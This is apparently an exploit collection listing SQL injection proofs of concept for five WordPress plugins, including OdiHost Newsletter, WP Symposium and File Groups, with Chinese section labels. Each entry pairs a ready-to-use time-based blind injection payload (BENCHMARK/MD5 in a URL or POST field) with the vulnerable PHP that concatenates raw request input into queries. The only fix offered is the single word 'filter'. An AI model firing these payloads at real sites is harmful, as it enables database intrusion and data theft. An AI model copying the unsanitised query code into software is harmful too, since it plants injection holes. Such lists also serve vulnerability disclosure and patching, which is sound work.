1:
OdiHost Newsletter plugin <= 1.0
POC:
https://www.webshell.cc/wp-content/plugins/odihost-newsletter-plugin/includes/openstat.php?uid=-1&id=-1 AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)

漏洞代码：
$newsletterid = $_GET["id"];
...
$wpdb->query("update newsletterstat set newsletterstatopened = CONCAT(newsletterstatopened ,'". $subscriberid . ",') where newsletterstatnewsletterid= ". $newsletterid);
2：
Easy Contact Form Lite plugin <= 1.0.7
POC：
https://www.webshell.cc/wp-content/plugins/easy-contact-form-lite/requests/sort_row.request.php
field_num[]=-1 AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)
漏洞代码：
foreach ($_POST['field_num'] as $position=>$field_id) {
   
    if ($field_id > 0) {
        $query = "
            UPDATE $settings_table_name
            SET position = '".$position."'
            WHERE ID = $field_id";
        $wpdb->query($query);
    }
3：
WP Symposium plugin <= 0.64
POC:
https://www.webshell.cc/wp-content/plugins/wp-symposium/uploadify/get_profile_avatar.php?uid=-1 AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)
漏洞代码：
$uid = $_REQUEST['uid'];
$sql = "SELECT profile_avatar FROM ".$wpdb->base_prefix."symposium_usermeta WHERE uid = ".$uid;

4：
Contus HD FLV Player plugin <= 1.3
POC:
https://www.webshell.cc/wp-content/plugins/contus-hd-flv-player/process-sortable.php?playid=-1 AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)&listItem[]=1
漏洞代码：
$pid1 = $_GET['playid'];

foreach ($_GET['listItem'] as $position => $item) :
    mysql_query("UPDATE $wpdb->prefix" . "hdflv_med2play SET `sorder` = $position WHERE `media_id` = $item and playlist_id=$pid1 ");
endforeach;
5：
File Groups plugin <= 1.1.2
POC:
https://www.webshell.cc/wp-content/plugins/file-groups/download.php?fgid=-1 AND 1=BENCHMARK(5000000,MD5(CHAR(87,120,109,121)))
漏洞代码：
$fgid = $_GET['fgid'];
...
$file_list = $wpdb->get_col("select guid from wp_posts where post_parent = $fgid");

修复：过滤